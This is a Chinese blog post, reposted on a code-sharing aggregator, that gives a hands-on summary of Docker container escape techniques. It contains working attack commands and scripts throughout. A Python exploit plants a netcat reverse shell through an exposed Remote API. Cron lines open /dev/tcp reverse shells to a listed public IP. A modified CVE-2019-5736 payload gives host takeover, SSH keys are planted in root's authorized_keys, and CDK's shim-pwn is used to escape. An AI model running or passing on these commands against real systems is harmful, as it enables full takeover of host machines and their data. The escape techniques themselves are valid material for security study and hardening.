ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

docker逃逸总结

2022-05-16 10:01:59  阅读:388  来源: 互联网

标签:总结 容器 宿主机 逃逸 docker CVE Docker API


docker逃逸总结

目录

一、 检查是否在docker容器中

通过以下两个地方来判断

# 是否存在此文件
/.dockerenv
# 在其中是否包含docker字符串
/proc/1/cgroup

除了上面两种外还有其他方式判断,如检测mount、fdisk -l查看硬盘 、判断PID 1的进程名等也可用来辅助判断。

容器逃逸一键检测
https://github.com/Xyntax/CDK/releases/tag/0.1.6

二、Docker Remote API 未授权访问

Docker Remote API 可以执行 Docker 命令,Docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 Docker

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API。Docker Remote API如配置不当可导致未授权访问,攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可能导致敏感信息泄露,攻击者也可以删除Docker上的数据。 攻击者可进一步利用Docker自身特性,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器

漏洞判断

# 返回目标宿主机运行容器信息,漏洞存在
# 这个命令和在宿主机上运行docker ps类似
docker -H tcp://172.19.101.34:2375 ps

exp:

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontab" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

三、docker.sock挂载到容器内部

当这样挂载时,在docker容器中可以调用和执行宿主机的docker
将docker宿主机的docker文件和docker.sock文件挂载到容器中

在容器中查看宿主机docker信息

docker -H unix:///var/run/docker.sock info

运行一个新容器并挂载宿主机根路径:

docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash

在新容器的 /test 目录下,就可以访问到宿主机的全部资源,接下来就是写入 SSH 密钥或者写入计划任务,获取 shell

四、Docker 高危启动参数

特权模式 –privileged

使用特权模式启动的容器时,docker 管理员可通过 mount 命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令

判断方法:

特权模式起的容器,实战可通过cat /proc/self/status |grep Cap命令判断当前容器是否通过特权模式起(CapEff: 000000xfffffffff代表为特权模式起)

利用方法:

特权模式启动一个Ubuntu容器:

sudo docker run -itd --privileged ubuntu:latest /bin/bash

进入容器:
使用fdisk -l命令查看磁盘文件:

fdisk -l命令查看宿主机设备为/dev/sda5(一般是最大的那个),通过mount命令将宿主机根目录挂载进容器

在特权模式下,逃逸的方式很多,比如:直接在容器内部挂载宿主机磁盘,然后切换根目录。

新建一个目录:mkdir /test
挂载磁盘到新建目录:mount /dev/sda5 /test
切换根目录:chroot /test
到这里已经成功逃逸了,然后就是常规的反弹shell 和 写 SSH 了(和redis未授权差不多)。

写计划任务,反弹宿主机Shell:

echo '* * * * * /bin/bash -i >& /dev/tcp/39.106.51.35/1234 0>&1' >> /test/var/spool/cron/crontabs/root

如果要写SSH的话,需要挂载宿主机的root目录到容器:

docker run -itd -v /root:/root ubuntu:18.04 /bin/bashmkdir /root/.sshcat id_rsa.pub >> /root/.ssh/authorized_keys

然后ssh 私钥登录。

五、Docker 软件设计引起的逃逸

5.1 CVE-2019-5736

CVE-2019-5736 是 runC 的 CVE 漏洞编号,runC 最初是作为 Docker 的一部分开发的,后来作为一个单独的开源工具和库被提取出来,在 docker 整个架构的运行过程中,Containerd 向 docker 提供运行容器的 API,二者通过 grpc 进行交互。containerd 最后通过 runc 来实际运行容器。

影响版本:

  • docker version <=18.09.2
  • RunC version <=1.0-rc6

利用条件:

攻击者可控 image,进一步控制生成的 container
攻击者具有某已存在容器的写权限,且可通过 docker exec 进入

# 下载 poc
git clone https://github.com/Frichetten/CVE-2019-5736-PoC

# 修改Payload
vi main.go
payload = "#!/bin/bash \n bash -i >& /dev/tcp/172.19.0.1/4444 0>&1"

# 编译生成 payload
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

# 拷贝到 docker 容器中执行
docker cp ./main 248f8b7d3c45:/tmp

在容器中执行

root@d1b112ea4a5e:/tmp# ./main
[+] Overwritten /bin/sh successfully
[+] Found the PID: 16
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc8201231e0}

当管理员通过exec进入容器的时候,触发payload,从而达到逃逸

5.2 CVE-2019-14271

Copy命令允许从容器、向容器中、或容器之间复制文件。语法与标准的unix cp命令非常相似。要从容器中复制/var/logs,语法是docker cp container_name:/var/logs /some/host/path

可能的攻击场景有Docker用户从另一个Docker处复制文件:

  • 容器运行含有恶意libnss_*.so库的镜像
  • 容器中含有被攻击者替换的libnss_*.so库

https://xz.aliyun.com/t/6806
docker-cp逃逸分析

5.3 CVE-2019-13139

https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/

5.4 CVE-2020-15257

Containerd 是一个控制 runC 的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在特定网络条件下,攻击者可通过访问containerd-shim API,从而实现Docker容器逃逸

影响版本:

  • containerd < 1.4.3
  • containerd < 1.3.9

cve-2020-15257复现

在Containerd 1.3.9版本之前和1.4.0~1.4.2版本(通过dockers version查询),使用了--host网络模式,会造成containerd-shim API暴露,通过调用API功能实现逃逸。

判断方法:

#判断是否使用host模式cat /proc/net/unix | grep 'containerd-shim'

经过以上判断,存在漏洞后。

1、从https://github.com/cdk-team/CDK/releases下载对应架构的可执行文件,上传到容器并赋权

上传方法:

如果漏洞利用过程中允许文件上传,即可直接植入CDK,如果可以在目标系统中执行命令,但是容器没有curl和wget命令,可以参考以下方法植入

# 将CDK下载到公网服务器,并监听端口
nc -lvp 999 < cdk
# 在已经攻入的目标中执行
cat < /dev/tcp/xxx/端口 > cdk
chmod a+x cdk

使用

#可以反弹shell,也可以执行命令
#reverse shell
./cdk run shim-pwn reverse <RHOST> <RPORT>
#execute command
./cdk run shim-pwn "<shell_cmd>"

六、内核漏洞

6.1 CVE-2016-5195

Dirty Cow(CVE-2016-5195)是 Linux 内核中的权限提升漏洞,通过它可实现 Docker 容器逃逸,获得 root 权限的 shell。
Docker与宿主机共享内核,因此容器需要运行在存在Dirty Cow漏洞的宿主机里

CVE-2016-5195-exp

七、参考文章

docker逃逸

标签:总结,容器,宿主机,逃逸,docker,CVE,Docker,API
来源: https://www.cnblogs.com/tomyyyyy/p/16275873.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[[email protected]]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有